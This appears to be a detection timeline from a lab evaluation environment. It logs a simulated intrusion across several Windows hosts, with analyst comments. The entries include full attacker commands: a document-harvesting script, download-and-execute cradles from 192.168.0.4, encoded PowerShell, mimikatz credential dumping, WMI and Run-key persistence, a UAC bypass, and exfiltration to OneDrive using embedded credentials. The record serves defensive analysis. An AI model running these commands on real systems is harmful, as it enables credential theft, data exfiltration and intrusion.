Comment: Output file for powershell collection script: Pipeline execution details for command line: $env:APPDATA;$files=ChildItem -Path $env:USERPROFILE\ -Include *.doc,*.xps,*.xls,*.ppt,*.pps,*.wps,*.wpd,*.ods,*.odt,*.lwp,*.jtd,*.pdf,*.zip,*.rar,*.docx,*.url,*.xlsx,*.pptx,*.ppsx,*.pst,*.ost,*psw*,*pass*,*login*,*admin*,*sifr*,*sifer*,*vpn,*.jpg,*.txt,*.lnk -Recurse -ErrorAction SilentlyContinue | Select -ExpandProperty FullName; Compress-Archive -LiteralPath $files -CompressionLevel Optimal -DestinationPath $env:APPDATA\Draft.Zip -Force. Context Information: DetailSequence=1 DetailTotal=1 SequenceNumber=21 UserId=DMEVALS\pbeesly HostName=ConsoleHost HostVersion=5.1.18362.628 HostId=e1855a36-02ca-4037-b00e-26dd3bfcd438 HostApplication=powershell EngineVersion=5.1.18362.628 RunspaceId=6312f55c-8058-418d-a732-fff59097bd0a PipelineId=6 ScriptName= CommandLine=$env:APPDATA;$files=ChildItem -Path $env:USERPROFILE\ -Include *.doc,*.xps,*.xls,*.ppt,*.pps,*.wps,*.wpd,*.ods,*.odt,*.lwp,*.jtd,*.pdf,*.zip,*.rar,*.docx,*.url,*.xlsx,*.pptx,*.ppsx,*.pst,*.ost,*psw*,*pass*,*login*,*admin*,*sifr*,*sifer*,*vpn,*.jpg,*.txt,*.lnk -Recurse -ErrorAction SilentlyContinue | Select -ExpandProperty FullName; Compress-Archive -LiteralPath $files -CompressionLevel Optimal -DestinationPath $env:APPDATA\Draft.Zip -Force Details: CommandInvocation(Get-ChildItem): "Get-ChildItem" ParameterBinding(Get-ChildItem): name="Path"; value="C:\Users\pbeesly\" ParameterBinding(Get-ChildItem): name="Include"; value="*.doc, *.xps, *.xls, *.ppt, *.pps, *.wps, *.wpd, *.ods, *.odt, *.lwp, *.jtd, *.pdf, *.zip, *.rar, *.docx, *.url, *.xlsx, *.pptx, *.ppsx, *.pst, *.ost, *psw*, *pass*, *login*, *admin*, *sifr*, *sifer*, *vpn, *.jpg, *.txt, *.lnk" ParameterBinding(Get-ChildItem): name="Recurse"; value="True" ParameterBinding(Get-ChildItem): name="ErrorAction"; value="SilentlyContinue" CommandInvocation(Select-Object): "Select-Object" ParameterBinding(Select-Object): name="ExpandProperty"; value="FullName" ParameterBinding(Select-Object): name="InputObject"; value="C:\Users\pbeesly\Desktop\Microsoft Edge.lnk" ParameterBinding(Select-Object): name="InputObject"; value="C:\Users\pbeesly\Favorites\Bing.url" ParameterBinding(Select-Object): name="InputObject"; value="C:\Users\pbeesly\Links\Desktop.lnk" ParameterBinding(Select-Object): name="InputObject"; value="C:\Users\pbeesly\Links\Downloads.lnk"

Host: NASHUA.dmevals.local **Timestamp:** 5/1/2020 11:16:10 PM **Event Type:** Evtx Event

Detail: Microsoft-Windows-PowerShell/Operational · Event ID 4104 · Scriptblock executed

Comment: cd C:\Windows\Temp

Host: NASHUA.dmevals.local **Timestamp:** 5/1/2020 11:16:19 PM **Event Type:** Evtx Event

Detail: Microsoft-Windows-PowerShell/Operational · Event ID 4104 · Scriptblock executed

Comment: .\Rar.exe a -hpfGzq5yKw "$env:USERPROFILE\Desktop\working.zip" "$env:APPDATA\working.zip"

Host: NASHUA.dmevals.local **Timestamp:** 5/1/2020 11:16:19 PM **Event Type:** Process Execute

Detail: pbeesly · Rar.exe · "C:\Windows\Temp\Rar.exe" a -hpfGzq5yKw C:\Users\pbeesly\Desktop\working.zip C:\Users\pbeesly\AppData\Roaming\working.zip

Host: NASHUA.dmevals.local **Timestamp:** 5/1/2020 11:16:19 PM **Event Type:** File Modifcation

Detail: create · C:\Users\pbeesly\Desktop\working.zip

Host: NASHUA.dmevals.local **Timestamp:** 5/1/2020 11:16:40 PM **Event Type:** Process Execute

Detail: pbeesly · cmd.exe · C:\windows\system32\cmd.exe

Host: NASHUA.dmevals.local **Timestamp:** 5/1/2020 11:16:52 PM **Event Type:** Process Execute

Detail: pbeesly · sdelete64.exe · .\sdelete64.exe /accepteula "C:\Windows\Temp\Rar.exe"

Timeline

Host: NASHUA.dmevals.local **Timestamp:** 5/1/2020 11:16:52 PM **Event Type:** Registry Modification

Detail: HKU • SOFTWARE • Sysinternals\SDelete\EulaAccepted

Host: NASHUA.dmevals.local **Timestamp:** 5/1/2020 11:16:52 PM **Event Type:** File Modifcation

Detail: delete • C:\Windows\Temp\Rar.exe

Host: NASHUA.dmevals.local **Timestamp:** 5/1/2020 11:17:18 PM **Event Type:** Process Execute

Detail: pbeesly • sdelete64.exe • .\sdelete64.exe /accepteula "C:\Users\pbeesly\AppData\Roaming\working.zip"

Host: NASHUA.dmevals.local **Timestamp:** 5/1/2020 11:17:18 PM **Event Type:** Registry Modification

Detail: HKU • SOFTWARE • Sysinternals\SDelete\EulaAccepted

Host: NASHUA.dmevals.local **Timestamp:** 5/1/2020 11:17:41 PM **Event Type:** Process Execute

Detail: pbeesly • sdelete64.exe • .\sdelete64.exe /accepteula "C:\Users\pbeesly\Desktop\working.zip"

Host: NASHUA.dmevals.local **Timestamp:** 5/1/2020 11:17:41 PM **Event Type:** Registry Modification

Detail: HKU • SOFTWARE • Sysinternals\SDelete\EulaAccepted

Host: NASHUA.dmevals.local **Timestamp:** 5/1/2020 11:17:41 PM **Event Type:** File Modifcation

Detail: delete • C:\Users\pbeesly\Desktop\working.zip

Host: NASHUA.dmevals.local **Timestamp:** 5/1/2020 11:17:52 PM **Event Type:** File Modifcation

Detail: delete • C:\Windows\Temp\sdelete64.exe

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:18:54 PM **Event Type:** Process Execute

Detail: SYSTEM • smss.exe • \SystemRoot\System32\smss.exe

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:19:09 PM **Event Type:** Process Execute

Detail: SYSTEM • smss.exe • \SystemRoot\System32\smss.exe 00000118 00000084

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:19:09 PM **Event Type:** Process Execute

Detail: SYSTEM • wininit.exe • wininit.exe

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:19:09 PM **Event Type:** Process Execute

Detail: SYSTEM • services.exe • C:\windows\system32\services.exe

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:19:14 PM **Event Type:** Process Execute

Detail: SYSTEM • javamtsup.exe • C:\Windows\System32\javamtsup.exe

Comment: Service malware running after reboot

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:19:20 PM **Event Type:** DNS Lookup

Detail: SCRANTON.dmevals.local • 9501 • type: 6 ;10.0.0.4;

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:19:35 PM **Event Type:** DNS Lookup

Detail: NEWYORK.dmevals.local • 0 • ::ffff:10.0.0.4;

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:19:59 PM **Event Type:** Network Connection

Detail: Outbound • 10.0.0.4 • 445 • TCP

Timeline

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:19:59 PM **Event Type:** DNS Lookup

Detail: `NEWYORK · 0 · ::ffff:10.0.0.4;`

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:20:42 PM **Event Type:** Process Execute

Detail: `SYSTEM · smss.exe · \SystemRoot\System32\smss.exe 000000c4 00000084`

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:20:42 PM **Event Type:** Process Execute

Detail: `SYSTEM · winlogon.exe · winlogon.exe`

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:20:47 PM **Event Type:** DNS Lookup

Detail: `NEWYORK.dmevals.local · 0 · ::ffff:10.0.0.4;`

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:20:49 PM **Event Type:** Windows Logon

Detail: `DMEVALS · pbeesly · 172.18.39.2`

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:20:49 PM **Event Type:** Windows Logon

Detail: `DMEVALS · pbeesly · 172.18.39.2`

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:20:50 PM **Event Type:** Process Execute

Detail: `pbeesly · userinit.exe · C:\windows\system32\userinit.exe`

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:20:51 PM **Event Type:** Process Execute

Detail: `pbeesly · explorer.exe · C:\windows\Explorer.EXE`

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:21:19 PM **Event Type:** Process Execute

Detail: `pbeesly · cmd.exe · C:\windows\system32\cmd.exe /c ""C:\Windows\System32\hostui.bat" "`

Comment: `hostui.exe malware run at user logon`

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:21:19 PM **Event Type:** Process Execute

Detail: `pbeesly · powershell.exe · powershell.exe -c "Start-Process C:\Windows\System32\hostui.exe -verb runas"`

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:21:27 PM **Event Type:** Process Execute

Detail: `pbeesly · hostui.exe · "C:\Windows\System32\hostui.exe"`

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:21:27 PM **Event Type:** Evtx Event

Detail: `Microsoft-Windows-PowerShell/Operational · Event ID 4104 · Scriptblock executed`

Comment: `Start-Process C:\Windows\System32\hostui.exe -verb runas`

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:21:27 PM **Event Type:** Process Execute

Detail: `pbeesly · powershell.exe · powershell.exe -c "Get-ItemPropertyValue 'HKLM:\\SOFTWARE\Javasoft' 'value Supplement' | Invoke-Expression"`

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:21:27 PM **Event Type:** Process Execute

Detail: `pbeesly · conhost.exe · \??\C:\windows\system32\conhost.exe 0xffffffff -ForceV1`

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:21:28 PM **Event Type:** Evtx Event

Detail: `Microsoft-Windows-PowerShell/Operational · Event ID 4104 · Scriptblock executed`

Comment: `Get-ItemPropertyValue 'HKLM:\\SOFTWARE\Javasoft' 'value Supplement' | Invoke-Expression`

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:21:28 PM **Event Type:** Process Execute

Detail: `pbeesly · powershell.exe · "C:\windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAkAGUAbgB2ADoAdwBpAG4AZABpAHIAKwAnAFwAcwB5AHMAbgBhAHQAaQB2AGUAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQ`

Timeline

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:21:30 PM **Event Type:** Network Connection

Detail: Outbound · 192.168.0.4 · 443 · TCP

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:21:30 PM **Event Type:** Network Connection

Detail: Outbound · 192.168.0.4 · 443 · TCP

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 3:55:06 AM **Event Type:** Process Execute

Detail: dschrute · powershell.exe · "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Get-Content '.\2016_United_States_presidential_election_-_Wikipedia.html' -Stream schemas | IEX

Comment: First appearance of malware on the system.

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 3:55:06 AM **Event Type:** Process Execute

Detail: dschrute · conhost.exe · \??\C:\windows\system32\conhost.exe 0xffffffff -ForceV1

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 3:55:10 AM **Event Type:** Evtx Event

Detail: Microsoft-Windows-PowerShell/Operational · Event ID 4104 · Scriptblock executed

Comment: Get-Content '.\2016_United_States_presidential_election_-_Wikipedia.html' -Stream schemas | IEX

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 3:55:26 AM **Event Type:** Evtx Event

Detail: Microsoft-Windows-PowerShell/Operational · Event ID 4104 · Scriptblock executed

Comment: certutil -decode blob "$env:appdata\Microsoft\kxwn.lock"

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 3:55:26 AM **Event Type:** Process Execute

Detail: dschrute · certutil.exe · "C:\windows\system32\certutil.exe" -decode blob C:\Users\dschrute\AppData\Roaming\Microsoft\kxwn.lock

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 3:55:27 AM **Event Type:** Evtx Event

Detail: Microsoft-Windows-PowerShell/Operational · Event ID 4104 · Scriptblock executed

Comment: [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};$MS=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String((new-object system.net.webclient).downloadstring('https://192.168.0.4:443/GoPro5/black/2018/_rp')));IEX $MS

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 3:55:27 AM **Event Type:** Evtx Event

Detail: Microsoft-Windows-PowerShell/Operational · Event ID 4104 · Scriptblock executed

Comment: New-ItemProperty -Force -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -Name "WebCache" -Value "C:\windows\system32\rundll32.exe $env:appdata\Microsoft\kxwn.lock,VoidFunc"

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 3:55:27 AM **Event Type:** File Modifcation

Detail: create · C:\Users\dschrute\AppData\Roaming\Microsoft\kxwn.lock

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 3:55:27 AM **Event Type:** Registry Modification

Detail: HKU · SOFTWARE · Microsoft\Windows\CurrentVersion\Run\WebCache

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 3:55:27 AM **Event Type:** Network Connection

Detail: Outbound · 192.168.0.4 · 443 · TCP

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 3:56:26 AM **Event Type:** Evtx Event

Detail: Microsoft-Windows-PowerShell/Operational · Event ID 4104 · Scriptblock executed

Comment: timestomp C:\Users\dschrute\AppData\Roaming\Microsoft\kxwn.lock

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 3:56:29 AM **Event Type:** File Modifcation

Detail: ctime_mod · C:\Users\dschrute\AppData\Roaming\Microsoft\kxwn.lock

Comment: timestomping

Timeline

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 3:56:42 AM **Event Type:** Evtx Event

Detail: Microsoft-Windows-PowerShell/Operational · Event ID 4104 · Scriptblock executed

Comment: detectav

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 3:57:13 AM **Event Type:** Process Execute

Detail: dschrute · csc.exe · "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\dschrute\AppData\Local\Temp\3jwomafa.cmdline"

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 3:57:21 AM **Event Type:** Process Execute

Detail: dschrute · csc.exe · "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\dschrute\AppData\Local\Temp\4ke5w11g.cmdline"

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 3:57:22 AM **Event Type:** Process Execute

Detail: dschrute · csc.exe · "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\dschrute\AppData\Local\Temp\n4ts3aae.cmdline"

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 3:57:41 AM **Event Type:** Process Execute

Detail: dschrute · csc.exe · "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\dschrute\AppData\Local\Temp\5e3zr212.cmdline"

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 3:58:04 AM **Event Type:** Network Connection

Detail: Outbound · 192.168.0.4 · 443 · TCP

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 3:58:05 AM **Event Type:** Evtx Event

Detail: Microsoft-Windows-PowerShell/Operational · Event ID 4104 · Scriptblock executed

Comment: bypass

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 3:58:05 AM **Event Type:** Registry Modification

Detail: HKU · _CLASSES · Folder\shell\open\command\(Default)

Comment: Download Base64 Encoded payload from https://192.168.0.4:443/GoPro5/black/2018/_rp

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 3:58:05 AM **Event Type:** Process Execute

Detail: dschrute · sdclt.exe · "C:\windows\system32\sdclt.exe"

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 3:58:05 AM **Event Type:** Process Execute

Detail: dschrute · sdclt.exe · "C:\windows\system32\sdclt.exe"

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 3:58:05 AM **Event Type:** Process Execute

Detail: dschrute · control.exe · "C:\Windows\System32\control.exe" /name Microsoft.BackupAndRestoreCenter

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 3:58:06 AM **Event Type:** Process Execute

Detail: dschrute · powershell.exe · "PowerShell.exe" -exec bypass -Noninteractive -windowstyle hidden -e WwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgBTAGUAcgB2AGUAcgBDAGUAcgB0AGkAZgBpAGMAYQB0AGUAVgBhAGwAaQBkAGEAdABpAG8AbgBDAGEAbABsAGIAYQBjAGsAIAA

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 3:58:06 AM **Event Type:** Process Execute

Detail: dschrute · conhost.exe · \??\C:\windows\system32\conhost.exe 0xffffffff -ForceV1

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 3:58:20 AM **Event Type:** Process Execute

Detail: dschrute · powershell.exe · "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Get-Content '.\2016_United_States_presidential_election_-_Wikipedia.html' -Stream schemas | IEX

Timeline

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 3:58:22 AM **Event Type:** Process Execute

Detail: dschrute · certutil.exe · "C:\windows\system32\certutil.exe" -decode blob C:\Users\dschrute\AppData\Roaming\Microsoft\kxwn.lock

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 3:59:04 AM **Event Type:** Evtx Event

Detail: Microsoft-Windows-PowerShell/Operational · Event ID 4104 · Scriptblock executed

Comment: wmidump

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 3:59:09 AM **Event Type:** Process Execute

Detail: NETWORK SERVICE · WmiPrvSE.exe · C:\windows\system32\wbem\wmiprvse.exe -secured -Embedding

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 3:59:09 AM **Event Type:** Process Execute

Detail: dschrute · powershell.exe · powershell.exe -enc JAB3AGMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACAAJAB3AGMALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACIAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMAAuADQAOgA4ADAAOAAwAC8AbQAiACwAIgBtAC4AZQB4

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 3:59:09 AM **Event Type:** Process Execute

Detail: dschrute · conhost.exe · \??\C:\windows\system32\conhost.exe 0xffffffff -ForceV1

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 3:59:10 AM **Event Type:** Windows PE

Detail: Windows EXE · 581449ef7c37587169ef45b1efbe1875236f3f2b83a0e52c8788e5fa4eb7d6e5

Comment: mimikatz retrieval from 192.168.0.4

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 3:59:10 AM **Event Type:** File Modifcation

Detail: create · C:\Windows\System32\m.exe

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 3:59:10 AM **Event Type:** Network Connection

Detail: Outbound · 192.168.0.4 · 8080 · TCP

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 3:59:10 AM **Event Type:** Process Execute

Detail: dschrute · m.exe · "m.exe" privilege::debug sekurlsa::logonpasswords exit

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 3:59:10 AM **Event Type:** Library Load

Detail: C:\Windows\System32\cryptdll.dll

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 3:59:10 AM **Event Type:** Library Load

Detail: C:\Windows\System32\samlib.dll

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 3:59:10 AM **Event Type:** Library Load

Detail: C:\Windows\System32\hid.dll

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 3:59:10 AM **Event Type:** Library Load

Detail: C:\Windows\System32\WinSCard.dll

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 3:59:10 AM **Event Type:** Open Process

Detail: C:\windows\system32\lsass.exe

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 3:59:11 AM **Event Type:** Process Exit

Detail: C:\Windows\System32\m.exe

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 4:00:07 AM **Event Type:** WMI Consumer

Detail: "WindowsParentalControlMigration" · Command Line · "powershell -exec bypass -Noninteractive -windowstyle hidden -e WwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgBTAGUAcgB2AGUAcgBDAGUAcgB0AGkAZgBpAGMAYQB0AGUAVgBhAGwAaQBkAGEAdABpAG8AbgBDAGEAbABsAGIAYQBjAGsAIAA9ACA

Timeline

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 4:00:07 AM **Event Type:** WMI Filter
Detail: "root\\CimV2" · "WindowsParentalControlMigration" · "SELECT * FROM __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_LoggedOnUser' AND TargetInstance.__RELPATH like '%dschrute%'"

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 4:00:07 AM **Event Type:** WMI Action
Detail: Created · "\\\\.\\ROOT\\subscription:CommandLineEventConsumer.Name=\"WindowsParentalControlMigration\"" · "\\\\.\\ROOT\\subscription:__EventFilter.Name=\"WindowsParentalControlMigration\""

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 4:00:48 AM **Event Type:** Evtx Event
Detail: Microsoft-Windows-PowerShell/Operational · Event ID 4104 · Scriptblock executed
Comment: get-netdomaincontroller

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 4:01:20 AM **Event Type:** Evtx Event
Detail: Microsoft-Windows-PowerShell/Operational · Event ID 4104 · Scriptblock executed
Comment: siduser

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 4:02:44 AM **Event Type:** Evtx Event
Detail: Microsoft-Windows-PowerShell/Operational · Event ID 4104 · Scriptblock executed
Comment: invoke-winrmsession -Username "dmevals\mscott" -Password "abc123!D@t3M1k3" -IPAddress NEWYORK

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 4:02:44 AM **Event Type:** Network Connection
Detail: Outbound · 10.0.0.4 · 5985 · TCP

Host: NEWYORK.dmevals.local **Timestamp:** 5/2/2020 4:02:44 AM **Event Type:** Process Execute
Detail: mscott · wsmprovhost.exe · C:\windows\system32\wsmprovhost.exe -Embedding

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 4:02:45 AM **Event Type:** Network Connection
Detail: Outbound · 10.0.0.4 · 5985 · TCP

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 4:02:45 AM **Event Type:** Network Connection
Detail: Outbound · 10.0.0.4 · 5985 · TCP

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 4:03:46 AM **Event Type:** Evtx Event
Detail: Microsoft-Windows-PowerShell/Operational · Event ID 4104 · Scriptblock executed
Comment: Copy-Item m.exe -Destination "C:\Windows\System32\" -ToSession $gurve

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 4:03:46 AM **Event Type:** Network Connection
Detail: Outbound · 10.0.0.4 · 5985 · TCP

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 4:03:46 AM **Event Type:** Network Connection
Detail: Outbound · 10.0.0.4 · 5985 · TCP

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 4:03:46 AM **Event Type:** Network Connection
Detail: Outbound · 10.0.0.4 · 5985 · TCP

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 4:03:46 AM **Event Type:** Network Connection
Detail: Outbound · 10.0.0.4 · 5985 · TCP

Timeline

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 4:03:47 AM **Event Type:** Network Connection

Detail: Outbound · 10.0.0.4 · 5985 · TCP

Host: NEWYORK.dmevals.local **Timestamp:** 5/2/2020 4:03:47 AM **Event Type:** File Modifcation

Detail: create · C:\Windows\System32\m.exe

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 4:04:25 AM **Event Type:** Evtx Event

Detail: Microsoft-Windows-PowerShell/Operational · Event ID 4104 · Scriptblock executed

Comment: Invoke-Command -Session $gurve -scriptblock {C:\Windows\System32\m.exe privilege::debug "lsadump::lsa /inject /name:krbtgt" exit} | out-string

Host: NEWYORK.dmevals.local **Timestamp:** 5/2/2020 4:04:25 AM **Event Type:** Process Execute

Detail: mscott · m.exe · "C:\Windows\System32\m.exe" privilege::debug "lsadump::lsa /inject /name:krbtgt" exit

Host: NEWYORK.dmevals.local **Timestamp:** 5/2/2020 4:04:25 AM **Event Type:** Library Load

Detail: C:\Windows\System32\cryptdll.dll

Host: NEWYORK.dmevals.local **Timestamp:** 5/2/2020 4:04:25 AM **Event Type:** Library Load

Detail: C:\Windows\System32\samlib.dll

Host: NEWYORK.dmevals.local **Timestamp:** 5/2/2020 4:04:25 AM **Event Type:** Library Load

Detail: C:\Windows\System32\WinSCard.dll

Host: NEWYORK.dmevals.local **Timestamp:** 5/2/2020 4:04:25 AM **Event Type:** Library Load

Detail: C:\Windows\System32\hid.dll

Host: NEWYORK.dmevals.local **Timestamp:** 5/2/2020 4:04:25 AM **Event Type:** Open Process

Detail: C:\windows\system32\lsass.exe

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 4:04:55 AM **Event Type:** Network Connection

Detail: Outbound · 10.0.0.4 · 5985 · TCP

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 4:04:55 AM **Event Type:** Network Connection

Detail: Outbound · 10.0.0.4 · 5985 · TCP

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 4:05:18 AM **Event Type:** Evtx Event

Detail: Microsoft-Windows-PowerShell/Operational · Event ID 4104 · Scriptblock executed

Comment: psemail

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 4:06:02 AM **Event Type:** File Modifcation

Detail: create · C:\Windows\Temp\WindowsParentalControlMigration

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 4:06:18 AM **Event Type:** Evtx Event

Detail: Microsoft-Windows-PowerShell/Operational · Event ID 4104 · Scriptblock executed

Comment: Copy-Item "C:\Users\dschrute\Documents\MITRE-ATTACK-EVALS.HTML" -Destination "C:\Windows\Temp\WindowsParentalControlMigration"

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 4:06:18 AM **Event Type:** File Modifcation

Detail: create · C:\Windows\Temp\WindowsParentalControlMigration\MITRE-ATTACK-EVALS.HTML

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 4:09:13 AM **Event Type:** Evtx Event

Detail: Microsoft-Windows-PowerShell/Operational · Event ID 4104 · Scriptblock executed

Comment: zip C:\Windows\Temp\WindowsParentalControlMigration.tmp C:\Windows\Temp\WindowsParentalControlMigration

Timeline

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 4:09:13 AM **Event Type:** File Modifcation

Detail: create · C:\Windows\Temp\WindowsParentalControlMigration.tmp

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 4:09:58 AM **Event Type:** Evtx Event

Detail: Microsoft-Windows-PowerShell/Operational · Event ID 4104 · Scriptblock executed

Comment: net use y: https://d.docs.live.net/E260BEAE58AE0245 /user:urukhai2020@outlook.com "V@m0s0rc0!2020"

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 4:09:58 AM **Event Type:** Process Execute

Detail: dschrute · net.exe · "C:\windows\system32\net.exe" use y: https://d.docs.live.net/E260BEAE58AE0245u/ser:urukhai2020@outlook.com V@m0s0rc0!2020

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 4:09:58 AM **Event Type:** Network Connection

Detail: Outbound · 13.107.42.12 · 443 · TCP

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 4:10:13 AM **Event Type:** Evtx Event

Detail: Microsoft-Windows-PowerShell/Operational · Event ID 4104 · Scriptblock executed

Comment: Copy-Item "C:\Windows\Temp\WindowsParentalControlMigration.tmp" -Destination "Y:\WindowsParentalControlMigration.tmp"

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 4:11:01 AM **Event Type:** Evtx Event

Detail: Microsoft-Windows-PowerShell/Operational · Event ID 4104 · Scriptblock executed

Comment: wipe "C:\Windows\System32\m.exe"

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 4:11:05 AM **Event Type:** Registry Modification

Detail: HKU · SOFTWARE · Sysinternals\SDelete\EulaAccepted

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 4:11:15 AM **Event Type:** Registry Modification

Detail: HKU · SOFTWARE · Sysinternals\SDelete\EulaAccepted

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 4:11:33 AM **Event Type:** Registry Modification

Detail: HKU · SOFTWARE · Sysinternals\SDelete\EulaAccepted

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 4:11:40 AM **Event Type:** Evtx Event

Detail: Microsoft-Windows-PowerShell/Operational · Event ID 4104 · Scriptblock executed

Comment: restart-computer -force

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 4:12:11 AM **Event Type:** Process Execute

Detail: SYSTEM · smss.exe · \SystemRoot\System32\smss.exe

